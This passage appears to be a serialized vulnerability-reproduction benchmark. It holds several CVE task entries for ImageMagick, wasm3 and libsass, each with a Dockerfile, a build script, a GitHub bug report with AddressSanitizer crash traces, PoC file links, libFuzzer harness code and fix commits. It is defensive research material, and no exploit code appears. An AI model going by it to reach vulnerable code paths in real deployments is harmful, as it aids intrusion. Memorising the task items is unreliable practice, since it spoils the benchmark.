(one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap righ redzone: fb Freed Heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 ASan internal: fe ==25042== ABORTING ``` testcase: https://github.com/henices/pocs/raw/master/Magick_png_read_raw_profile-heap-overflow Credit: NSFocus Security Team <security (at) nsfocus (dot) com> Comments: Comment by urban-warrior on 2017-11-21 12:45:50+00:00: Unfortunately we cannot reproduce the problem. With the latest ImageMagick release from the master branch, we get: ``` $ convert Magick_png_read_raw_profile-heap-overflow /dev/null convert: gAMA: gamma value out of range `Magick_png_read_raw_profile-heap-overflow' @ warning/png.c/MagickPNGWarningHandler/1744. convert: zTXt: invalid distance too far back `Magick_png_read_raw_profile-heap-overflow' @ warning/png.c/MagickPNGWarningHandler/1744. ``` --- Comment by henices on 2017-11-21 13:58:54+00:00: I got the same output on fedora 26, but on ubuntu it makes crash. on ubuntu 14.04 convert command use libpng12, on fedora convert command use libpng16, what's your linux distribution? --- Comment by henices on 2017-11-22 04:23:44+00:00: I find the root cause, when i use the libpng16 in ubuntu this crash is gone away. use libpng12 in ubuntu, we will get a asan heap-buffer-overflow output. --- Comment by urban-warrior on 2017-11-22 15:05:23+00:00: Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ https://www.imagemagick.org/download/beta/ by sometime tomorrow. --- Comment by nohmask on 2017-12-11 04:08:55+00:00: This was assigned CVE-2017-17504. Commit References: 6645a122ee83105008e8447f92555e4a9e307ecf
[ { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n uint16_t Width;\n uint16_t Height;\n if (Size < (sizeof(Width) + sizeof(Height))) {\n return 0;\n }\n Width = *reinterpret_cast<const uint16_t *>(Data);\n Height = *reinterpret_cast<const uint16_t *>(Data + sizeof(Width));\n const Magick::Blob blob(Data + sizeof(Width) + sizeof(Height),\n Size - (sizeof(Width) + sizeof(Height)));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.crop(Magick::Geometry(Width, Height));\n return 0;\n}\n", "filename": "crop_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\n#define FUZZ_ENCODER_STRING_LITERAL(name) #name\n#define FUZZ_ENCODER FUZZ_ENCODER_STRING_LITERAL(FUZZ_IMAGEMAGICK_ENCODER)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n\n Magick::Blob outBlob;\n try {\n image.write(&outBlob, FUZZ_ENCODER);\n } catch (Magick::Exception &e) {\n }\n return 0;\n}\n", "filename": "encoder_fuzzer.cc" }, { "content": "#include <iostream>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int main() {\n size_t nFormats;\n Magick::ExceptionInfo ex;\n const Magick::MagickInfo **formats = GetMagickInfoList(\"*\", &nFormats, &ex);\n\n for (size_t i = 0; i < nFormats; i++) {\n const Magick::MagickInfo *format = formats[i];\n if (format->encoder && format->name) {\n std::cout << format->name << std::endl;\n }\n }\n}\n", "filename": "encoder_list.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n image.enhance();\n } catch (Magick::Exception &e) {\n return 0;\n }\n return 0;\n}\n", "filename": "enhance_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n Magick::ExceptionInfo ex;\n auto res = HuffmanDecodeImage(image.image(), &ex);\n return 0;\n}\n", "filename": "huffman_decode_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n if (Size < sizeof(double)) {\n return 0;\n }\n double Degrees = *reinterpret_cast<const double *>(Data);\n if (!isfinite(Degrees)) {\n return 0;\n }\n const Magick::Blob blob(Data + sizeof(Degrees), Size - sizeof(Degrees));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.rotate(Degrees);\n return 0;\n}\n", "filename": "rotate_fuzzer.cc" } ]
[ { "sha": "6645a122ee83105008e8447f92555e4a9e307ecf", "url": "https://github.com/imagemagick/imagemagick/commit/6645a122ee83105008e8447f92555e4a9e307ecf" }, { "sha": "59c49559e302e06bfba46cb6feb4e39adbe675b6", "url": "https://github.com/ImageMagick/ImageMagick/commit/59c49559e302e06bfba46cb6feb4e39adbe675b6" }, { "sha": "fb89192c4ca1600741af79dd22166a7d91e76924", "url": "https://github.com/ImageMagick/ImageMagick/commit/fb89192c4ca1600741af79dd22166a7d91e76924" }, { "sha": "ce3a586a43a7d13442587eb7f28d129557b6a135", "url": "https://github.com/ImageMagick/ImageMagick/commit/ce3a586a43a7d13442587eb7f28d129557b6a135" } ]
wasm3.cve-2022-28966
wasm3/wasm3
6b8bcb1e07bf26ebef09a7211b0a37a446eafd52
2021-06-02T05:40:14
wasm3
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make RUN git clone https://github.com/wasm3/wasm3 wasm3 RUN git -C wasm3 checkout 6b8bcb1e07bf26ebef09a7211b0a37a446eafd52 WORKDIR $SRC/wasm3 COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p build && cd build cmake -DBUILD_WASI=none .. make -j$(nproc)
/src/wasm3
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/wasm3/wasm3/issues/320 ## Description: Issue: wasm3/wasm3#320 Title: [security] Heap Overflow in NewCodePage m3_code.c:25:29 State: closed Created by: zu1k Created at: 2022-04-07 06:41:07+00:00 Issue Body: I found a heap overflow vulnerability. Wasm3 0.5.0 has an out-of-bounds write in NewCodePage (called from Compile_BranchTable). Recommended Security Severity: High Poc: [poc.zip](https://github.com/wasm3/wasm3/files/8499030/poc.zip) ``` $ ./wasm3 --func fib poc.wasm Error: invalid block depth free(): corrupted unsorted chunks zsh: IOT instruction (core dumped) ./wasm3 --func fib poc.wasm ``` Sanitizer: address (ASAN) ``` $ ./wasm3 --func fib poc.wasm ================================================================= ==43773==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000080 at pc 0x55de9111d3b8 bp 0x7ffc6f691a90 sp 0x7ffc6f691a88 WRITE of size 4 at 0x602000000080 thread T0 #0 0x55de9111d3b7 in NewCodePage /disk/wasm3/source/m3_code.c:25:29 #1 0x55de9110f4c2 in AcquireCodePageWithCapacity /disk/wasm3/source/m3_env.c:1058:20 #2 0x55de910fff78 in EnsureCodePageNumLines /disk/wasm3/source/m3_compile.c:34:28 #3 0x55de910b2d8e in Compile_BranchTable /disk/wasm3/source/m3_compile.c:1546:1 #4 0x55de910f6b8c in CompileBlockStatements /disk/wasm3/source/m3_compile.c:2608:1 #5 0x55de910face1 in CompileFunction /disk/wasm3/source/m3_compile.c:2899:1 #6 0x55de9110b1f2 in m3_FindFunction /disk/wasm3/source/m3_env.c:729:1 #7 0x55de91096f8c in repl_call /disk/wasm3/platforms/app/main.c:256:23 #8 0x55de91099be0 in main /disk/wasm3/platforms/app/main.c:636:26 #9 0x7fb47abc730f in __libc_start_call_main libc-start.c #10 0x7fb47abc73c0 in __libc_start_main@GLIBC_2.2.5 (/usr/lib/libc.so.6+0x2d3c0) #11 0x55de90fb1a24 in _start (/disk/wasm3/build/wasm3+0x52a24) 0x602000000080 is located 15 bytes to the right of 1-byte region [0x602000000070,0x602000000071) allocated by thread T0 here: #0 0x55de9105c869 in __interceptor_calloc (/disk/wasm3/build/wasm3+0xfd869) #1 0x55de911037a9 in m3_Malloc_Impl /disk/wasm3/source/m3_core.c:129:12 #2 0x55de9111d316 in NewCodePage /disk/wasm3/source/m3_code.c:21:25 #3 0x55de9110f4c2 in AcquireCodePageWithCapacity /disk/wasm3/source/m3_env.c:1058:20 #4 0x55de910fff78 in EnsureCodePageNumLines /disk/wasm3/source/m3_compile.c:34:28 #5 0x55de910b2d8e in Compile_BranchTable /disk/wasm3/source/m3_compile.c:1546:1 #6 0x55de910f6b8c in CompileBlockStatements /disk/wasm3/source/m3_compile.c:2608:1 #7 0x55de910face1 in CompileFunction /disk/wasm3/source/m3_compile.c:2899:1 #8 0x55de9110b1f2 in m3_FindFunction /disk/wasm3/source/m3_env.c:729:1 #9 0x55de91096f8c in repl_call /disk/wasm3/platforms/app/main.c:256:23 #10 0x55de91099be0 in main /disk/wasm3/platforms/app/main.c:636:26 #11 0x7fb47abc730f in __libc_start_call_main libc-start.c SUMMARY: AddressSanitizer: heap-buffer-overflow /disk/wasm3/source/m3_code.c:25:29 in NewCodePage Shadow bytes around the buggy address: 0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff8000: fa fa 00 fa fa fa 04 fa fa fa 00 00 fa fa 01 fa =>0x0c047fff8010:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==43773==ABORTING ``` Comments: Comment by zu1k on 2022-04-16 02:25:08+00:00: @vshymanskyy Could you please confirm this? --- Comment by vshymanskyy on 2022-07-12 12:02:16+00:00: Related to #344 ? Attachments: https://github.com/wasm3/wasm3/files/8499030/poc.zip
[]
[]
libsass.cve-2018-20822
sass/libsass
1e52b74306b7d73a617396c912ca436dc55fd4d8
2018-04-25T00:47:16
libsass
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/sass/libsass libsass RUN git -C libsass checkout 1e52b74306b7d73a617396c912ca436dc55fd4d8 WORKDIR $SRC/libsass COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu export BUILD='static' make -j$(nproc)
/src/libsass
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/sass/libsass/issues/2671 ## Description: Issue: sass/libsass#2671 Title: AddressSanitizer: stack-overflow at Sass::Inspect::operator() (inspect.cpp:977) State: closed Created by: hongxuchen Created at: 2018-06-03 04:54:21+00:00 Issue Body: We found with our fuzzer some stack over flow errors at Sass::Inspect::operator() (inspect.cpp:977)(45f50873962b7d1c66bd115ba6e644bdaaf6cac1) when compiled with Address Sanitizer (using sassc as the driver). ``` ================================================================= ==2828==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd23974fd8 (pc 0x7f7c014511a4 bp 0x7ffd23975850 sp 0x7ffd23974fe0 T0) #0 0x7f7c014511a3 in __interceptor_strlen (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x701a3) #1 0x7f7bffced43b in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::compare(char const*) const (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x12143b) #2 0x7f7c010a3c86 in bool std::operator==<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, char const*) /usr/include/c++/5/bits/basic_string.h:4939 #3 0x7f7c010a3c86 in Sass::Inspect::operator()(Sass::Wrapped_Selector*) /home/hongxu/FUZZ/libsass-orig/src/inspect.cpp:977 #4 0x7f7c0109de50 in Sass::Inspect::operator()(Sass::Compound_Selector*) /home/hongxu/FUZZ/libsass-orig/src/inspect.cpp:996 #5 0x7f7c010abed7 in Sass::Compound_Selector::perform(Sass::Operation<void>*) /home/hongxu/FUZZ/libsass-orig/src/ast.hpp:2742 #6 0x7f7c010abed7 in Sass::Inspect::operator()(Sass::Complex_Selector*) /home/hongxu/FUZZ/libsass-orig/src/inspect.cpp:1023 #7 0x7f7c010ac3f4 in Sass::Complex_Selector::perform(Sass::Operation<void>*) /home/hongxu/FUZZ/libsass-orig/src/ast.hpp:2907 #8 0x7f7c010ac3f4 in Sass::Inspect::operator()(Sass::Complex_Selector*) /home/hongxu/FUZZ/libsass-orig/src/inspect.cpp:1061 ... #447 0x7f7c010abed7 in Sass::Inspect::operator()(Sass::Complex_Selector*) /home/hongxu/FUZZ/libsass-orig/src/inspect.cpp:1023 #448 0x7f7c010ac3f4 in Sass::Complex_Selector::perform(Sass::Operation<void>*) /home/hongxu/FUZZ/libsass-orig/src/ast.hpp:2907 #449 0x7f7c010ac3f4 in Sass::Inspect::operator()(Sass::Complex_Selector*) /home/hongxu/FUZZ/libsass-orig/src/inspect.cpp:1061 #450 0x7f7c010ae63b in Sass::Complex_Selector::perform(Sass::Operation<void>*) /home/hongxu/FUZZ/libsass-orig/src/ast.hpp:2907 #451 0x7f7c010ae63b in Sass::Inspect::operator()(Sass::Selector_List*) /home/hongxu/FUZZ/libsass-orig/src/inspect.cpp:1098 SUMMARY: AddressSanitizer: stack-overflow ??:0 __interceptor_strlen ==2828==ABORTING ``` Sample input files: [so_inspect.cpp:977_01.txt](https://github.com/sass/libsass/files/2065675/so_inspect.cpp.977_01.txt) [so_inspect.cpp:977_02.txt](https://github.com/sass/libsass/files/2065676/so_inspect.cpp.977_02.txt) Comments: Comment by glebm on 2019-04-10 19:24:08+00:00: This is fixed on master (not sure by which commit) --- Comment by xi on 2019-06-05 05:36:06+00:00: Assigned CVE-2018-20822 --- Comment by NicoleG25 on 2020-05-27 13:58:02+00:00: Hi @glebm , could you perhaps point me in the direction of the commit fixing this issue? I was thinking it could be https://github.com/sass/libsass/commit/dfe23ac550de902289e5e5d5f4ece794afbb68d3 But I'm not quite sure. Thanks in advance ! --- Comment by glebm on 2020-05-27 17:07:10+00:00: @NicoleG25 I don't know which commit had fixed it, you could bisect to find out Attachments: https://github.com/sass/libsass/files/2065676/so_inspect.cpp.977_02.txt https://github.com/sass/libsass/files/2065675/so_inspect.cpp.977_01.txt Commit References: dfe23ac550de902289e5e5d5f4ece794afbb68d3 45f50873962b7d1c66bd115ba6e644bdaaf6cac1
[ { "content": "#include \"sass.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n char* sass_data = (char*) malloc(sizeof(char) * size + 1);\n if (sass_data == NULL) return 0;\n\n memcpy(sass_data, data, size);\n sass_data[size] = '\\0';\n\n struct Sass_Data_Context* ctx = sass_make_data_context(sass_data);\n if (ctx == NULL) {\n free(sass_data);\n return 0;\n }\n\n struct Sass_Options* options = sass_make_options();\n if (options == NULL) {\n sass_delete_data_context(ctx);\n return 0;\n }\n\n sass_option_set_output_style(options, SASS_STYLE_NESTED);\n sass_option_set_precision(options, 5);\n\n sass_data_context_set_options(ctx, options);\n sass_compile_data_context(ctx);\n\n sass_delete_data_context(ctx);\n sass_delete_options(options);\n\n return 0;\n}\n", "filename": "data_context_fuzzer.cc" } ]
[ { "sha": "45f50873962b7d1c66bd115ba6e644bdaaf6cac1", "url": "https://github.com/sass/libsass/commit/45f50873962b7d1c66bd115ba6e644bdaaf6cac1" }, { "sha": "dfe23ac550de902289e5e5d5f4ece794afbb68d3", "url": "https://github.com/sass/libsass/commit/dfe23ac550de902289e5e5d5f4ece794afbb68d3" } ]
imagemagick.cve-2017-14138
imagemagick/imagemagick
781c31aeb16047d7123502666dea2ecdc97c072e
2017-08-02T17:42:33
imagemagick
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/imagemagick/imagemagick imagemagick RUN git -C imagemagick checkout 781c31aeb16047d7123502666dea2ecdc97c072e WORKDIR $SRC/imagemagick COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --prefix="$WORK" --disable-shared --disable-docs make "-j$(nproc)" make install -j$(nproc)
/src/imagemagick
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/ImageMagick/ImageMagick/issues/639 ## Description: Issue: ImageMagick/ImageMagick#639 Title: memory leak in ReadWEBPImage State: closed Created by: jgj212 Created at: 2017-08-01 14:48:29+00:00 Labels: bug Issue Body: Version: ImageMagick 7.0.6-5 Q16 x86_64 ``` ./magick identify $FILE ==114==ERROR: LeakSanitizer: detected memory leaks Direct leak of 4294904328 byte(s) in 1 object(s) allocated from: #0 in malloc /mnt/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:66 #1 in AcquireMagickMemory /mnt/im/ImageMagick-clang/MagickCore/memory.c:464:10 #2 in AcquireQuantumMemory /mnt/im/ImageMagick-clang/MagickCore/memory.c:537:10 #3 in ReadWEBPImage /mnt/im/ImageMagick-clang/coders/webp.c:268:28 #4 in ReadImage /mnt/im/ImageMagick-clang/MagickCore/constitute.c:497:13 #5 in ReadStream /mnt/im/ImageMagick-clang/MagickCore/stream.c:1045:9 #6 in PingImage /mnt/im/ImageMagick-clang/MagickCore/constitute.c:226:9 #7 in PingImages /mnt/im/ImageMagick-clang/MagickCore/constitute.c:327:10 #8 in IdentifyImageCommand /mnt/im/ImageMagick-clang/MagickWand/identify.c:319:18 #9 in MagickCommandGenesis /mnt/im/ImageMagick-clang/MagickWand/mogrify.c:183:14 #10 in MagickMain /mnt/im/ImageMagick-clang/utilities/magick.c:149:10 #11 in main /mnt/im/ImageMagick-clang/utilities/magick.c:180:10 #12 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21f44) ``` POC: https://github.com/jgj212/poc/blob/master/leak-ReadWEBPImage Credit: ADLab of Venustech Comments: Comment by bastien-roucaries on 2017-08-01 20:18:46+00:00: Pease open CVE --- Comment by dlemstra on 2017-08-01 22:00:18+00:00: This is not confirmed yet? Better wait with the CVE? --- Comment by jgj212 on 2017-08-01 23:41:52+00:00: @dlemstra is this bug being fixed?i do not request cve --- Comment by mikayla-grace on 2017-08-02 00:00:16+00:00: Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow. --- Comment by fgeek on 2017-09-07 08:25:14+00:00: Please use CVE-2017-14138 for this issue. For the record the ID was not requested by me.
[ { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n uint16_t Width;\n uint16_t Height;\n if (Size < (sizeof(Width) + sizeof(Height))) {\n return 0;\n }\n Width = *reinterpret_cast<const uint16_t *>(Data);\n Height = *reinterpret_cast<const uint16_t *>(Data + sizeof(Width));\n const Magick::Blob blob(Data + sizeof(Width) + sizeof(Height),\n Size - (sizeof(Width) + sizeof(Height)));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.crop(Magick::Geometry(Width, Height));\n return 0;\n}\n", "filename": "crop_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\n#define FUZZ_ENCODER_STRING_LITERAL(name) #name\n#define FUZZ_ENCODER FUZZ_ENCODER_STRING_LITERAL(FUZZ_IMAGEMAGICK_ENCODER)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n\n Magick::Blob outBlob;\n try {\n image.write(&outBlob, FUZZ_ENCODER);\n } catch (Magick::Exception &e) {\n }\n return 0;\n}\n", "filename": "encoder_fuzzer.cc" }, { "content": "#include <iostream>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int main() {\n size_t nFormats;\n Magick::ExceptionInfo ex;\n const Magick::MagickInfo **formats = GetMagickInfoList(\"*\", &nFormats, &ex);\n\n for (size_t i = 0; i < nFormats; i++) {\n const Magick::MagickInfo *format = formats[i];\n if (format->encoder && format->name) {\n std::cout << format->name << std::endl;\n }\n }\n}\n", "filename": "encoder_list.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n image.enhance();\n } catch (Magick::Exception &e) {\n return 0;\n }\n return 0;\n}\n", "filename": "enhance_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n Magick::ExceptionInfo ex;\n auto res = HuffmanDecodeImage(image.image(), &ex);\n return 0;\n}\n", "filename": "huffman_decode_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n if (Size < sizeof(double)) {\n return 0;\n }\n double Degrees = *reinterpret_cast<const double *>(Data);\n if (!isfinite(Degrees)) {\n return 0;\n }\n const Magick::Blob blob(Data + sizeof(Degrees), Size - sizeof(Degrees));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.rotate(Degrees);\n return 0;\n}\n", "filename": "rotate_fuzzer.cc" } ]
[ { "sha": "13f4cbc6ed5e01a78d179f5be0032ed560adfb1a", "url": "https://github.com/ImageMagick/ImageMagick/commit/13f4cbc6ed5e01a78d179f5be0032ed560adfb1a" }, { "sha": "5ea1396db9b6a85a11a65daa99d267517f3cbdcd", "url": "https://github.com/ImageMagick/ImageMagick/commit/5ea1396db9b6a85a11a65daa99d267517f3cbdcd" }, { "sha": "def00c720dffb57a821bd8acd77eac7b10a0568b", "url": "https://github.com/ImageMagick/ImageMagick/commit/def00c720dffb57a821bd8acd77eac7b10a0568b" }, { "sha": "06ccb0ccdcca8219862a05c5589329903473235f", "url": "https://github.com/ImageMagick/ImageMagick/commit/06ccb0ccdcca8219862a05c5589329903473235f" }, { "sha": "1c487cd945996a77ba611b83dc6a2ceedb89be3d", "url": "https://github.com/ImageMagick/ImageMagick/commit/1c487cd945996a77ba611b83dc6a2ceedb89be3d" } ]
imagemagick.cve-2017-12641
imagemagick/imagemagick
91e07240f3c787469f480a089a256b5d0ae64149
2017-07-08T13:06:55
imagemagick
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/imagemagick/imagemagick imagemagick RUN git -C imagemagick checkout 91e07240f3c787469f480a089a256b5d0ae64149 WORKDIR $SRC/imagemagick COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --prefix="$WORK" --disable-shared --disable-docs make "-j$(nproc)" make install -j$(nproc)
/src/imagemagick
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/ImageMagick/ImageMagick/issues/550 ## Description: Issue: ImageMagick/ImageMagick#550 Title: memory leak in ReadOneJNGImage State: closed Created by: jgj212 Created at: 2017-07-08 13:35:29+00:00 Labels: bug Issue Body: Version: ImageMagick 7.0.6-1 Q16 x86_64 ``` #./magick identify $FILE ================================================================= ==32637==ERROR: LeakSanitizer: detected memory leaks Direct leak of 13488 byte(s) in 1 object(s) allocated from: #0 0x4def96 in __interceptor_malloc asan_malloc_linux.cc:66 #1 0x7fbe8d60af76 in AcquireMagickMemory memory.c:463:10 #2 0x7fbe8d5b9db9 in AcquireImage image.c:169:19 #3 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21 #4 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9 #5 0x7fbe8d3faf98 in ReadImage constitute.c:497:13 #6 0x7fbe8d771bd9 in ReadStream stream.c:1045:9 #7 0x7fbe8d3f9b3f in PingImage constitute.c:226:9 #8 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10 #9 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18 #10 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14 #11 0x514f77 in MagickMain magick.c:151:10 #12 0x5149d1 in main magick.c:263:10 #13 0x7fbe87456f44 in __libc_start_main libc-start.c:287 Direct leak of 13024 byte(s) in 1 object(s) allocated from: #0 0x4def96 in __interceptor_malloc asan_malloc_linux.cc:66 #1 0x7fbe8d60af76 in AcquireMagickMemory memory.c:463:10 #2 0x7fbe8dc4739f in ReadOneJNGImage png.c:4477:39 #3 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9 #4 0x7fbe8d3faf98 in ReadImage constitute.c:497:13 #5 0x7fbe8d771bd9 in ReadStream stream.c:1045:9 #6 0x7fbe8d3f9b3f in PingImage constitute.c:226:9 #7 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10 #8 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18 #9 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14 #10 0x514f77 in MagickMain magick.c:151:10 #11 0x5149d1 in main magick.c:263:10 #12 0x7fbe87456f44 in __libc_start_main libc-start.c:287 Indirect leak of 13024 byte(s) in 1 object(s) allocated from: #0 0x4def96 in __interceptor_malloc asan_malloc_linux.cc:66 #1 0x7fbe8d60af76 in AcquireMagickMemory memory.c:463:10 #2 0x7fbe8d5be753 in AcquireImageInfo image.c:347:28 #3 0x7fbe8d5c78c3 in CloneImageInfo image.c:952:14 #4 0x7fbe8d5be688 in SyncImageSettings image.c:4051:21 #5 0x7fbe8d5bbe88 in AcquireImage image.c:290:10 #6 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21 #7 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9 #8 0x7fbe8d3faf98 in ReadImage constitute.c:497:13 #9 0x7fbe8d771bd9 in ReadStream stream.c:1045:9 #10 0x7fbe8d3f9b3f in PingImage constitute.c:226:9 #11 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10 #12 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18 #13 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14 #14 0x514f77 in MagickMain magick.c:151:10 #15 0x5149d1 in main magick.c:263:10 #16 0x7fbe87456f44 in __libc_start_main libc-start.c:287 Indirect leak of 9096 byte(s) in 1 object(s) allocated from: #0 0x4def96 in __interceptor_malloc asan_malloc_linux.cc:66 #1 0x7fbe8d60af76 in AcquireMagickMemory memory.c:463:10 #2 0x7fbe8d60afd8 in AcquireQuantumMemory memory.c:536:10 #3 0x7fbe8d3891e4 in AcquirePixelCache cache.c:195:28 #4 0x7fbe8d5ba6bd in AcquireImage image.c:206:16 #5 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21 #6 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9 #7 0x7fbe8d3faf98 in ReadImage constitute.c:497:13 #8 0x7fbe8d771bd9 in ReadStream stream.c:1045:9 #9 0x7fbe8d3f9b3f in PingImage constitute.c:226:9 #10 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10 #11 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18 #12 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14 #13 0x514f77 in MagickMain magick.c:151:10 #14 0x5149d1 in main magick.c:263:10 #15 0x7fbe87456f44 in __libc_start_main libc-start.c:287 Indirect leak of 512 byte(s) in 1 object(s) allocated from: #0 0x4def96 in __interceptor_malloc asan_malloc_linux.cc:66 #1 0x7fbe8d60af76 in AcquireMagickMemory memory.c:463:10 #2 0x7fbe8d60afd8 in AcquireQuantumMemory memory.c:536:10 #3 0x7fbe8d64a44a in AcquirePixelChannelMap pixel.c:101:35 #4 0x7fbe8d5ba77b in AcquireImage image.c:208:22 #5 0x7fbe8dc47483 in ReadOneJNGImage 